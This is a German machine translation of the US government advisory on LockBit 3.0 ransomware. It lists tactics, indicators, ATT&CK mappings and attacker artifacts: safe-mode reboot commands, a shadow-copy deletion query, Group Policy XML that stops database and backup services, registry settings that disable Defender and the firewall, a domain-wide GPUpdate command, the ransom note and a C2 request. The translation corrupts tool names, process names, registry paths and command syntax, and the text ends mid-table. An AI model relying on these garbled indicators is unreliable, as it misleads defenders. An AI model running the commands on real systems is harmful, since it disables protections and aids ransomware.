CYBERSECURITY-BERATUNG

#StopRansomware: LockBit 3.0

Datum der Veröffentlichung: März 16, 2023

Alert Code: AA23-075A

ZUSAMMENFASSUNG

Hinweis: Dieses gemeinsame Cybersecurity Advisory (CSA) ist Teil der laufenden #StopRansomware-Bemühungen zur Veröffentlichung von Hinweisen für Netzwerkverteidiger, die Ransomware-Varianten und Ransomware-Bedrohungsakteure detailliert beschreiben. Diese #StopRansomware-Ratschläge enthalten kürzlich und in der Vergangenheit beobachtete Taktiken, Techniken und Verfahren (TTPs) sowie Kompromittierungsindikatoren (IOCs), um Organisationen beim Schutz vor Ransomware zu unterstützen. Besuchen Sie stopransomware.gov, um alle #StopRansomware-Ratschläge einzusehen und mehr über andere Ransomware-Bedrohungen und kostenlose Ressourcen zu erfahren.

Maßnahmen, die Sie heute ergreifen können, um Cyber-Bedrohungen durch Ransomware zu entschärfen:

- Priorisieren Sie die Behebung bekannter Sicherheitslücken, die ausgenutzt werden <https://www.cisa.gov/known-exploited-vulnerabilities-catalog>.
- Schulung der Benutzer zur Erkennung und Meldung von Phishing-Versuchen <https://www.cisa.gov/phishing-infographic>.
- Aktivieren und erzwingen Sie eine Phishing-resistente Multifaktor-Authentifizierung <https://www.cisa.gov/mfa>.

Das Federal Bureau of Investigation (FBI), die Cybersecurity and Infrastructure Security Agency (CISA) und das Multi-State Information Sharing & Analysis Center (MS-ISAC) veröffentlichen diese gemeinsame CSA, um bekannte LockBit 3.0 Ransomware IOCs und TTPs zu verbreiten, die im Rahmen von FBI-Untersuchungen erst im März 2023 identifiziert wurden.

Die Ransomware LockBit 3.0 funktioniert als Ransomware-as-a-Service (RaaS)-Modell und ist eine Fortsetzung der früheren Versionen der Ransomware, LockBit 2.0 und LockBit. Seit Januar 2020 funktioniert LockBit als eine Affiliate-basierte Ransomware-Variante. Affiliates, die LockBit RaaS einsetzen, verwenden viele verschiedene TTPs und greifen ein breites Spektrum von Unternehmen und kritischen Infrastrukturorganisationen an, was eine effektive Verteidigung und Eindämmung von Computernetzwerken schwierig machen kann.

Das FBI, das CISA und das MS-ISAC empfehlen Organisationen, die Empfehlungen im Abschnitt über Abhilfemaßnahmen in diesem CSA umzusetzen, um die Wahrscheinlichkeit und die Auswirkungen von Ransomware-Vorfällen zu verringern.

Laden Sie die PDF-Version dieses Berichts herunter:

#StopRansomware: Lockbit </sites/default/files/2023-03/aa23-075a-stop-ransomware-lockbit.pdf> (PDF, 688.70 KB)

TECHNISCHE DETAILS

Hinweis: In dieser Empfehlung wird das MITRE ATT&CK® for Enterprise Framework, Version 12, verwendet. Eine Tabelle mit den Aktivitäten der Bedrohungsakteure, die MITRE ATT&CK for Enterprise <*https://attack.mitre.org/versions/v12/matrices/enterprise/*> *zugeordnet sind, finden Sie im Abschnitt MITRE ATT&CK*

Tactics and Techniques

FÄHIGKEITEN

LockBit 3.0, auch bekannt als "LockBit Black", ist modularer und ausweichender als seine Vorgängerversionen und weist Ähnlichkeiten mit den Ransomware-Programmen Blackmatter und Blackcat auf.

LockBit 3.0 wird bei der Kompilierung mit vielen verschiedenen Optionen konfiguriert, die das Verhalten der Ransomware bestimmen. Bei der eigentlichen Ausführung der Ransomware in einer Opferumgebung können verschiedene Argumente angegeben werden, um das Verhalten der Ransomware weiter zu ändern. LockBit 3.0 akzeptiert beispielsweise zusätzliche Argumente für bestimmte Vorgänge bei der seitlichen Bewegung und dem Neustart im abgesicherten Modus (siehe LockBit-Befehlszeilenparameter unter Anzeichen für eine Kompromittierung). Wenn ein LockBit-Partner keinen Zugang zu passwortloser LockBit 3.0-Ransomware hat, ist die Angabe eines Passworts bei der Ausführung der Ransomware zwingend erforderlich. LockBit 3.0-Partner, die nicht das richtige Passwort eingeben, können die Ransomware nicht ausführen[T1480.001

<https://attack.mitre.org/versions/v12/techniques/t1480/001/>

]. Das Passwort ist ein kryptografischer Schlüssel, der die ausführbare

Datei von LockBit 3.0 entschlüsselt. Durch diesen Schutz des Codes erschwert LockBit 3.0 die Erkennung und Analyse von Malware, da der Code in seiner verschlüsselten Form nicht ausführbar und unlesbar ist. Signaturbasierte Erkennungen können die ausführbare Datei von LockBit 3.0 möglicherweise nicht erkennen, da der verschlüsselte Teil der Datei je nach dem für die Verschlüsselung verwendeten kryptografischen Schlüssel variiert und gleichzeitig einen eindeutigen Hash erzeugt. Wenn das richtige Kennwort eingegeben wird, entschlüsselt LockBit 3.0 die Hauptkomponente, fährt mit der Entschlüsselung oder Dekomprimierung des Codes fort und führt die Ransomware aus.

LockBit 3.0 infiziert nur Rechner, deren Spracheinstellungen nicht mit einer definierten Ausschlussliste übereinstimmen. Ob eine Systemsprache zur Laufzeit geprüft wird, wird jedoch durch ein Konfigurationsflag bestimmt, das ursprünglich zur Kompilierungszeit gesetzt wurde. Zu den Sprachen auf der Ausschlussliste gehören unter anderem Rumänisch (Moldawien), Arabisch (Syrien) und Tatarisch (Russland). Wenn eine Sprache aus der Ausschlussliste erkannt wird[T1614.001 <https://attack.mitre.org/versions/v12/techniques/t1614/001/>

], beendet LockBit 3.0 die Ausführung, ohne das System zu infizieren.

INITIALER ZUGANG

Affiliates, die LockBit 3.0 Ransomware erhalten anfänglichen Zugang zu Opfernetzwerken über die Ausnutzung des Remote-Desktop-Protokolls (RDP)[T1133 <https://attack.mitre.org/versions/v12/techniques/t1133/>

], Drive-by-Kompromittierung[T1189 <https://attack.mitre.org/versions/v12/techniques/t1189/>

], Phishing-Kampagnen[T1566

<https://attack.mitre.org/versions/v12/techniques/t1566/>

], den Missbrauch gültiger Konten[T1078

<https://attack.mitre.org/versions/v12/techniques/t1078/>

] und die Ausnutzung von öffentlich zugänglichen Anwendungen[T1190

<https://attack.mitre.org/versions/v12/techniques/t1190/>

].

AUSFÜHRUNG UND INFEKTIONSPROZESS

Wenn während der Malware-Routine die Privilegien nicht ausreichen, versucht LockBit 3.0, die erforderlichen Privilegien zu erlangen[TA0004 <https://attack.mitre.org/versions/v12/tactics/ta0004/>

]. LockBit 3.0 führt Funktionen wie die folgenden aus:

- Aufzählung von Systeminformationen wie Hostname, Hostkonfiguration, Domäneninformationen, lokale Laufwerkskonfiguration, entfernte Freigaben und angeschlossene externe Speichergeräte[T1082 <https://attack.mitre.org/versions/v12/techniques/t1082/>

]

- Beendigung von Prozessen und Diensten[T1489 <https://attack.mitre.org/versions/v12/techniques/t1489/>

]

- Startbefehle[TA0002 <https://attack.mitre.org/versions/v12/tactics/ta0002/>

]

- Aktivieren der automatischen Anmeldung für Persistenz und Privilegieneskalation[T1547 <https://attack.mitre.org/versions/v12/techniques/t1547/>

]

- Löschen von Protokolldateien, Dateien im Papierkorbordner und Schattenkopien auf der Festplatte[T1485 <https://attack.mitre.org/versions/v12/techniques/t1485/>

],

[T1490 <https://attack.mitre.org/versions/v12/techniques/t1490/>

]

LockBit 3.0 versucht, sich über ein Opfernetzwerk zu verbreiten, indem es eine vorkonfigurierte Liste von Anmeldeinformationen verwendet, die zum Zeitpunkt der Kompilierung fest einkodiert wurden, oder ein kompromittiertes lokales Konto mit erweiterten Rechten[T1078

<https://attack.mitre.org/versions/v12/techniques/t1078/002/>

]. Bei der Kompilierung kann LockBit 3.0 auch Optionen für die Verbreitung über Gruppenrichtlinien-Objekte und PsExec unter Verwendung des SMB-Protokolls (Server Message Block) aktivieren. LockBit 3.0 versucht,[T1486 <https://attack.mitre.org/versions/v12/techniques/t1486/>

] auf einem beliebigen lokalen oder entfernten Gerät gespeicherte Daten zu verschlüsseln, überspringt jedoch Dateien, die mit Kernsystemfunktionen verbunden sind.

Nachdem die Dateien verschlüsselt wurden, legt LockBit 3.0 eine Lösegeldforderung mit dem neuen Dateinamen **<Ransomware-ID>.README.txt** ab und ändert das Hintergrundbild und die Symbole des Hosts in LockBit 3.0-Branding[T1491.001 <https://attack.mitre.org/versions/v12/techniques/t1491/001/>

]. Bei Bedarf sendet LockBit 3.0 verschlüsselte Host- und Bot-Informationen an einen Command-and-Control-Server (C2)[T1027

<https://attack.mitre.org/versions/v12/techniques/t1027/>

].

Nach Abschluss des Vorgangs löscht sich LockBit 3.0 möglicherweise selbst von der Festplatte[T1070.004

<https://attack.mitre.org/versions/v12/techniques/t1070/004/>

] sowie alle Gruppenrichtlinien-Updates, die vorgenommen wurden, je

nachdem, welche Optionen zum Zeitpunkt der Kompilierung festgelegt wurden.

EXFILTRATION

LockBit 3.0-Partner verwenden Stealbit, ein benutzerdefiniertes Exfiltrationstool, das zuvor mit LockBit 2.0

verwendet wurde[TA0010 <https://attack.mitre.org/versions/v12/tactics/ta0010/>

]; rclone, einen Open-Source-Befehlszeilen-Cloud-Speicher-

Manager[T1567.002 <https://attack.mitre.org/versions/v12/techniques/t1567/002/>

]; und öffentlich verfügbare File-Sharing-Dienste wie MEGA[T1567.002

<https://attack.mitre.org/versions/v12/techniques/t1567/002/>

], um sensible Unternehmensdaten vor der Verschlüsselung zu exfiltrieren. Obwohl rclone und viele öffentlich zugängliche File-Sharing-Dienste in erster Linie für legitime Zwecke genutzt werden, können sie auch von Bedrohungsakteuren verwendet werden, um das System zu kompromittieren, das Netzwerk zu erkunden oder Daten zu exfiltrieren. LockBit 3.0-Mitglieder nutzen häufig

auch andere öffentlich verfügbare File-Sharing-Dienste, um Daten zu exfiltrieren[T1567

<https://attack.mitre.org/versions/v12/techniques/t1567/002/>

] (siehe Tabelle 1).

Tabelle 1: Anonyme File-Sharing-Sites, die vor der Systemverschlüsselung zum Exfiltrieren von Daten verwendet wurden

File-Sharing-Website
https://www.premiumize[.]com
https://anonfiles[.]com
https://www.sendspace[.]com
https://fex[.]net
https://transfer[.]sh
https://send.exploit[.]in

NUTZUNG VON FREEWARE UND OPEN-SOURCE-TOOLS

Es wurde beobachtet, dass LockBit-Mitglieder bei ihren Einbrüchen verschiedene Freeware- und Open-Source-Tools verwenden. Diese Tools werden für eine Reihe von Aktivitäten eingesetzt, z. B. für die Netzwerkaufklärung, den Fernzugriff und das Tunneling, das Dumping von Anmeldeinformationen und die Exfiltration von Dateien. Die Verwendung von PowerShell und Batch-Skripten
werden bei den meisten Eindringlingen beobachtet, die sich auf die Erkennung von Systemen, die Erkundung, die Suche nach Passwörtern/Zugangsdaten und die Ausweitung von Berechtigungen konzentrieren. Es wurden auch Artefakte von professionellen Penetrationstests wie Metasploit und Cobalt Strike beobachtet. In Tabelle 2 finden Sie eine Liste legitimer Freeware- und Open-Source-Tools, die von LockBit-Mitgliedern für Ransomware-Operationen verwendet wurden:

Tabelle 2: Von LockBit 3.0-Mitgliedern verwendete Freeware- und Open-Source-Tools

Werkzeug	Beschreibung	GEHRUNGSATT&CK ID

Werkzeug	Beschreibung	GEHRUNGSATT&CK ID
Schokoladig	Kommandozeilen-Paketmanager für Windows.	T1072 <https://attack.mitre.org/versions/v12/techniques/t1072/>
FileZilla	Plattformübergreifende FTP-Anwendung (File Transfer Protocol).	T1071.002 <https://attack.mitre.org/versions/v12/techniques/t1071/002/>
Impacket	Sammlung von Python-Klassen für die Arbeit mit Netzwerkprotokollen.	S0357 <https://attack.mitre.org/versions/v12/software/s0357/>

Werkzeug	Beschreibung	GEHRUNGSATT&CK ID
MEGA Ltd MegaSync	Cloud-basiertes Synchronisierungstool.	T1567.002 <https://attack.mitre.org/versions/v12/techniques/t1567/002/>
Microsoft Sysinternals ProcDump	Erzeugt Crash-Dumps. Wird üblicherweise verwendet, um den Inhalt von Local Security Authority Subsystem Service, LSASS.exe, zu speichern.	T1003.001 <https://attack.mitre.org/versions/v12/techniques/t1003/001/>
Microsoft Sysinternals PsExec	Führen Sie einen Befehlszeilenprozess auf einem entfernten Rechner aus.	S0029 <https://attack.mitre.org/versions/v12/software/s0029/>

Werkzeug	Beschreibung	GEHRUNGSATT&CK ID
Mimikatz	Extrahiert Anmeldedaten aus dem System.	S0002 <https://attack.mitre.org/versions/v12/software/s0002/>
Ngrok	Legitimes Fernzugriffs-Tool, das zur Umgehung des Netzwerkschutzes des Opfers missbraucht wird.	S0508 <https://attack.mitre.org/versions/v12/software/s0508/>
PuTTY-Verbindung (Plink)	Kann verwendet werden, um Secure Shell (SSH) Aktionen unter Windows zu automatisieren.	T1572 <https://attack.mitre.org/versions/v12/techniques/t1572/>

Werkzeug	Beschreibung	GEHRUNGSATT&CK ID
Rclone	Befehlszeilenprogramm zur Verwaltung von Cloud-Speicherdateien	S1040 <https://attack.mitre.org/versions/v12/software/s1040/>
SoftPerfect Netzwerk-Scanner	Führt Netzwerk-Scans durch.	T1046 <https://attack.mitre.org/versions/v12/techniques/t1046/>
Splashtop	Remote-Desktop-Software.	T1021.001 <https://attack.mitre.org/versions/v12/techniques/t1021/001/>

Werkzeug	Beschreibung	GEHRUNGSATT&CK ID
		T1048 <https://attack.mitre.org/versions/v12/techniques/t1048/>
WinSCP	SSH File Transfer Protocol-Client für Windows.	

INDIKATOREN FÜR KOMPROMISSE (IOCS)

Die nachstehend aufgeführten IOCs und Malware-Merkmale wurden aus Feldanalysen abgeleitet. Die folgenden Beispiele sind aktuell (Stand: März 2023).

LockBit 3.0 Schwarzes Icon

LockBit 3.0 Hintergrundbild

LockBit-Befehlszeilenparameter

LockBit-Parameter	Beschreibung
`-del`	Selbst löschen.

LockBit-Parameter	Beschreibung
-gdel	Entfernen Sie LockBit 3.0 Gruppenrichtlinienänderungen.
-gspd	Seitliche Verbreitung über Gruppenrichtlinien.
-pass (32-Zeichen-Wert)	(Erforderlich) Passwort, das zum Starten von LockBit 3.0 verwendet wird.
-path (Datei oder Pfad)	Verschlüsselt nur die angegebene Datei oder den angegebenen Ordner.
-psex	Seitliche Ausbreitung über Verwaltungsanteile.
-sicher	Starten Sie den Host im abgesicherten Modus neu.
-Wand	Legt das LockBit 3.0-Hintergrundbild fest und druckt die LockBit 3.0-Lösegeldforderung aus.

GEGENSEITIGES AUSSCHLUSSOBJEKT (MUTEX) ERSTELLT

Bei der Ausführung erstellt LockBit 3.0 den Mutex "Global\<MD4 Hash der Maschinen-GUID>", und prüft, ob diese Mutex bereits erstellt wurde, um zu vermeiden, dass mehr als eine Instanz der Ransomware ausgeführt wird.

UAC-UMGEHUNG ÜBER EINE ERWEITERTE COM-SCHNITTSTELLE

LockBit 3.0 ist in der Lage, die Benutzerkontensteuerung (UAC) zu umgehen, um Code mit erweiterten Rechten über eine erweiterte COM-Schnittstelle (Component Object Model) auszuführen. **C:\Windows\System32\dllhost.exe** wird mit hoher Integrität mit der Befehlszeilen-GUID **3E5FC7F9-9A51-4367-9063-A120244FBEC** gestartet.

Zum Beispiel **%SYSTEM32%\dllhost.exe/Processid:{3E5FC7F9-9A51-4367-9063- A120244FBEC7}**.

VOLUMEN-SCHATTENKOPIE-LÖSCHUNG

LockBit 3.0 verwendet Windows Management Instrumentation (WMI), um Volumenschattenkopien zu identifizieren und zu löschen. LockBit 3.0 verwendet **select * from Win32_ShadowCopy**, um nach Volumenschattenkopien zu suchen, **Win32_ShadowCopy.ID**, um die ID der Schattenkopie zu erhalten, und **DeleteInstance**, um alle Schattenkopien zu löschen.

ARTEFAKTE DER REGISTRATUR

LockBit 3.0-Symbol

Registrierungsschlüssel	Wert	Daten
HKCR\. <Malware-Erweiterung>	(Standard)	<Malware-Erweiterung>
HKCR\<Malware-Erweiterung>\DefaultIcon	(Standard)	C:\ProgrammDaten\<Mal ware Extension>.ico

LockBit 3.0 Hintergrundbild

Registrierungsschlüssel	Wert	Daten
HKCU\Systemsteuerung\Desktop\WallPaper	(Standard)	C:\ProgrammDaten\<Mal ware Extension>.bmp

Datenschutzeinstellungen deaktivieren Erfahrung

Registrierungsschlüssel	Wert	Daten
SOFTWARE\Policies\Microsoft\Win dows\OOBE	DisablePrivacyE xperience	0

Automatische Anmeldung einschalten

Registrierungsschlüssel	Wert	Daten
SOFTWARE\Microsoft\Windows NT\AktuelleVersion\Winlogon	AutoAdminLogon	1
	StandardBenutzername	<Benutzername>
	DefaultDomainNa me	<Domänenname>
	StandardPasswort	<Passwort>

Deaktivieren und Löschen von Windows-Ereignisprotokollen

Registrierungsschlüssel	Wert
HKLM\SOFTWARE\Microsoft\Windows \CurrentVersion\WINEVT\Channels *	Aktiviert
HKLM\SOFTWARE\Microsoft\Windows \CurrentVersion\WINEVT\Channels * \ChannelAccess	ChannelAccess

LÖSEGELD STANDORTE

LockBit 3.0 File Path Locations
ADMIN$\Temp\<LockBit3.0 Filename>.exe
%SystemRoot%\Temp\<LockBit3.0 Filename>.exe
\<Domain Name>\sysvol\<Domain Name>\scripts\<Lockbit 3.0 Filename>.exe (Domain Controller)

STARTBEFEHLE IM ABGESICHERTEN MODUS

LockBit 3.0 verfügt über eine Abgesicherter-Modus-Funktion, um Antivirenprogramme und die Erkennung von Endpunkten zu umgehen. Je nach Host-Betriebssystem wird der folgende Befehl gestartet, um das System im abgesicherten Modus mit Netzwerk neu zu starten:

Betriebssystem	Befehl Abgesicherter Modus mit Netzwerkbetrieb
Vista und neuere Versionen	`bcdedit /set {aktuell} safeboot Netzwerk`
Vor-Vista	`bootcfg /raw /a /safeboot:network /id 1`

Betriebssystem	Neustart im abgesicherten Modus deaktivieren
Vista und neuere Versionen	`bcdedit /deletevalue {aktuell} safeboot`
Vor-Vista	`bootcfg /raw /fastdetect /id 1`

GRUPPENRICHTLINIEN-ARTEFAKTE

Im Folgenden sind die XML-Dateien (Group Policy Extensible Markup Language) aufgeführt, die nach einer Infektion mit LockBit 3.0 identifiziert wurden:

NetzwerkAktien.xml

```
<?xml version="1.0" encoding="utf-8"?>
<NetworkShareSettings clsid="{520870D8-A6E7-47e8-A8D8-E6A4E76EAEC2}">
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}"
image="2" name="%%ComputerName%%_D" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_D" path="D:" comment="" allRegular="0"
allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE"/>
```

Services.xml stoppt und deaktiviert Dienste auf den Active Directory (AD)-Hosts.

Dienste.xml

```
<?xml version="1.0" encoding="utf-8"?>
<NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}">
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLPBDMS" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLPBDMS" serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLPBENGINE" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLPBENGINE" serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLFDLauncher" image="4" changed="%s" uid="%s" userContext="0" removePolicy="0"
disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLFDLauncher" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLSERVERAGENT" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLSERVERAGENT" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLServerOLAPService" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLServerOLAPService" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSASTELEMETRY" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSASTELEMETRY" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLBrowser" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLBrowser" serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQL Server Distributed Replay Client" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQL Server Distributed Replay Client"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQL Server Distributed Replay Controller" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQL Server Distributed Replay Controller"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MsDtsServer150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MsDtsServer150" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSISTELEMETRY150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSISTELEMETRY150" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSISScaleOutMaster150" image="4" changed="%s" uid="%s" disabled="0">
```

Dienste.xml

```
<Properties startupType="DISABLED" serviceName="SSISScaleOutMaster150" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSISScaleOutWorker150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSISScaleOutWorker150" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLLaunchpad" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLLaunchpad" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLWriter" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLWriter" serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLTELEMETRY" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLTELEMETRY" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLSERVER" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLSERVER" serviceAction="STOP"
timeout="60"/>
</NTService>
</NTServices>
```

REGISTRY.POL

Die folgende Registrierungskonfiguration ändert die Werte für die Aktualisierungszeit der Gruppenrichtlinie, deaktiviert SmartScreen und deaktiviert Windows Defender.

Registrierungsschlüssel	Registrierungswert
HKLM\SOFTWARE\Policies\Microsoft\Window s\System	GroupPolicyRefresh ZeitDC
HKLM\SOFTWARE\Policies\Microsoft\Window s\System	GroupPolicyRefresh ZeitVerschieb
HKLM\SOFTWARE\Policies\Microsoft\Window s\System	GroupPolicyRefresh Zeit
HKLM\SOFTWARE\Policies\Microsoft\Window s\System	GroupPolicyRefresh ZeitAusgleich
HKLM\SOFTWARE\Policies\Microsoft\Window s\System	EnableSmartScreen
HKLM\SOFTWARE\Policies\Microsoft\Window s\System	**del.ShellSmartSc reenLevel
HKLM\SOFTWARE\Policies\Microsoft\Window s Defender	AntiSpyware deaktivieren

Registrierungsschlüssel	Registrierungswert
HKLM\SOFTWARE\Policies\Microsoft\Window s Defender	DisableRoutinelyTa kingAction
HKLM\SOFTWARE\Policies\Microsoft\Window s Defender\Echtzeitschutz	DisableRealtimeMon itoring
HKLM\SOFTWARE\Policies\Microsoft\Window s Defender\Echtzeitschutz	DisableBehaviorMon itoring
HKLM\SOFTWARE\Policies\Microsoft\Window s Defender\Spynet	SubmitSamplesConse nt
HKLM\SOFTWARE\Policies\Microsoft\Window s Defender\Spynet	SpynetReporting
HKLM\SOFTWARE\Policies\Microsoft\Window sFirewall\DomainProfile	EnableFirewall
HKLM\SOFTWARE\Policies\Microsoft\Window sFirewall\StandardProfile	EnableFirewall

GPUPDATE ERZWINGEN

Sobald neue Gruppenrichtlinien hinzugefügt wurden, wendet ein PowerShell-Befehl mit Group Policy Update (GPUpdate) die neuen Gruppenrichtlinienänderungen auf alle Computer in der AD-Domäne an.

GPUpdate erzwingen Powershell-Befehl
powershell Get-ADComputer -filter * -Searchbase '%s' | Foreach-Object { Invoke-GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}

GEFALLENE DIENSTLEISTUNGEN

vss	sql	svc$
memtas	mepocs	msexchange
sophos	veeam	Backup
GxVss	GxBlr	GxFWD
GxCVD	GxCIMgr	

BEENDETE PROZESSE

sql	Orakel	ocssd
dbsnmp	synctime	agntsvc
isqlplussvc	xfssvccon	mydesktopservice

.	encsvc	firefox
tbirdconfig	mydesktopqos	ocomm
dbeng50	sqbcoreservice	excel
infopath	msaccess	mspu
onenote	Ausblick	.
Dampf	thebat	thunderbird
visio	winword	wordpad
Notizblock		

LOCKBIT 3.0 ERPRESSERBRIEF

> ~~~ LockBit 3.0 die weltweit schnellste und stabilste Ransomware von 2019.
> >>>>> Ihre Daten werden gestohlen und verschlüsselt.
> Wenn Sie das Lösegeld nicht zahlen, werden die Daten auf unseren TOR-Darknet-Seiten veröffentlicht. Denken Sie daran, dass Ihre Daten, sobald sie auf unserer Leak-Site erscheinen, jederzeit von Ihren Konkurrenten gekauft werden könnten, zögern Sie also nicht lange. Je eher Sie das Lösegeld zahlen, desto eher ist Ihr Unternehmen in Sicherheit.

NETZWERK-VERBINDUNGEN

Falls konfiguriert, sendet Lockbit 3.0 zwei HTTP-POST-Anfragen an einen der C2-Server. Die Informationen über den Opfer-Host und den Bot werden mit einem Advanced Encryption Standard (AES)-Schlüssel verschlüsselt und in Base64 kodiert.

```
Beispiel für eine HTTP-POST-Anfrage POST <Lockbit C2>/?7F6Da=u5a0TdP0&Aojq=&NtN1W=OuoaovMvrVJSmPNaA5&fck
```

ZEICHENFOLGEN FÜR BENUTZER-AGENTEN

Mozilla/5.0 (Windows NT 6.1)	AppleWebKit/587.38 (KHTML, wie Gecko)	Chrom/91.0.4472.77
Safari/537.36	Rand/91.0.864.37	Firefox/89.0
Gecko/20100101		

GEHRUNGSSCHNITTTECHNIKEN

Siehe Tabelle 3 für alle in dieser Empfehlung genannten Taktiken und Techniken von Bedrohungsakteuren. Unterstützung bei der Zuordnung zum MITRE ATT&CK-Rahmenwerk finden Sie im CISA Decider Tool <https://www.cisa.gov/news-events/alerts/2023/03/01/cisa-releases-decider-tool-help-mitre-attck-mapping> und Best Practices for MITRE ATT&CK Mapping Guide <https://www.cisa.gov/news-events/alerts/2023/01/17/cisa-updates-best-practices-mapping-mitre-attckr>.

Tabelle 3: LockBit 3.0-Akteure ATT&CK-Techniken für Unternehmen

Erster Zugang		
Technik Titel	ID	Verwenden Sie
Gültige Konten	T1078 <https://attack.mitre.org/versions/v12/techniques/t1078/>	LockBit 3.0-Akteure erlangen und missbrauchen die Anmeldedaten bestehender Konten, um sich einen ersten Zugang zu verschaffen.
Externe Remote-Dienste ausnutzen	T1133 <https://attack.mitre.org/versions/v12/techniques/t1133/>	LockBit 3.0-Akteure nutzen RDP aus, um sich Zugang zu den Netzwerken der Opfer zu verschaffen.
Kompromiss im Vorbeifahren	T1189 <https://attack.mitre.org/versions/v12/techniques/t1189/>	LockBit 3.0-Akteure verschaffen sich Zugang zu einem System, indem sie eine Website im Rahmen des normalen Surfens besuchen.

Erster Zugang		
Öffentlich zugängliche Anwendung ausnutzen	T1190 <https://attack.mitre.org/versions/v12/techniques/t1190/>	LockBit 3.0-Akteure nutzen Schwachstellen in Systemen mit Internetanschluss aus, um Zugang zu den Systemen der Opfer zu erhalten.
Phishing	T1566 <https://attack.mitre.org/versions/v12/techniques/t1566/>	LockBit 3.0-Akteure nutzen Phishing und Spearphishing, um Zugang zu den Netzwerken der Opfer zu erhalten.

Ausführung		
Technik Titel	ID	Verwenden Sie
Ausführung	TA0002 <https://attack.mitre.org/versions/v12/tactics/ta0002/>	LockBit 3.0 führt während seiner Ausführung Befehle aus.

Erster Zugang		
Tools für die Softwarebereitstellung	T1072 <https://attack.mitre.org/versions/v12/techniques/t1072/>	LockBit 3.0 verwendet Chocolatey, einen Kommandozeilen-Paketmanager für Windows.
Persistenz		
Technik Titel	ID	Verwenden Sie
Gültige Konten	T1078 <https://attack.mitre.org/versions/v12/techniques/t1078/>	LockBit 3.0 verwendet ein kompromittiertes Benutzerkonto, um die Persistenz im Zielnetzwerk aufrechtzuerhalten.
Boot-oder Logo-Autostart-Ausführung	T1547 <https://attack.mitre.org/versions/v12/techniques/t1547/>	LockBit 3.0 ermöglicht die automatische Anmeldung für die Persistenz.
Privilegieneskalation		

Erster Zugang		
Technik Titel	ID	Verwenden Sie
Privilegieneskalation	TA0004 <https://attack.mitre.org/versions/v12/tactics/ta0004/>	Lockbit 3.0 versucht, die erforderlichen Berechtigungen zu erlangen, wenn die aktuellen Kontoberechte nicht ausreichen.
Boot-oder Logo-Autostart-Ausführung	T1547 <https://attack.mitre.org/versions/v12/techniques/t1547/>	LockBit 3.0 ermöglicht die automatische Anmeldung für die Privilegienerweiterung.

Verteidigung Umgehung		
Technik Titel	ID	Verwenden Sie
Verdeckte Dateien oder Informationen	T1027 <https://attack.mitre.org/versions/v12/techniques/t1027/>	LockBit 3.0 sendet verschlüsselte Host-und Bot-Informationen an seine C2-Server.

Erster Zugang		
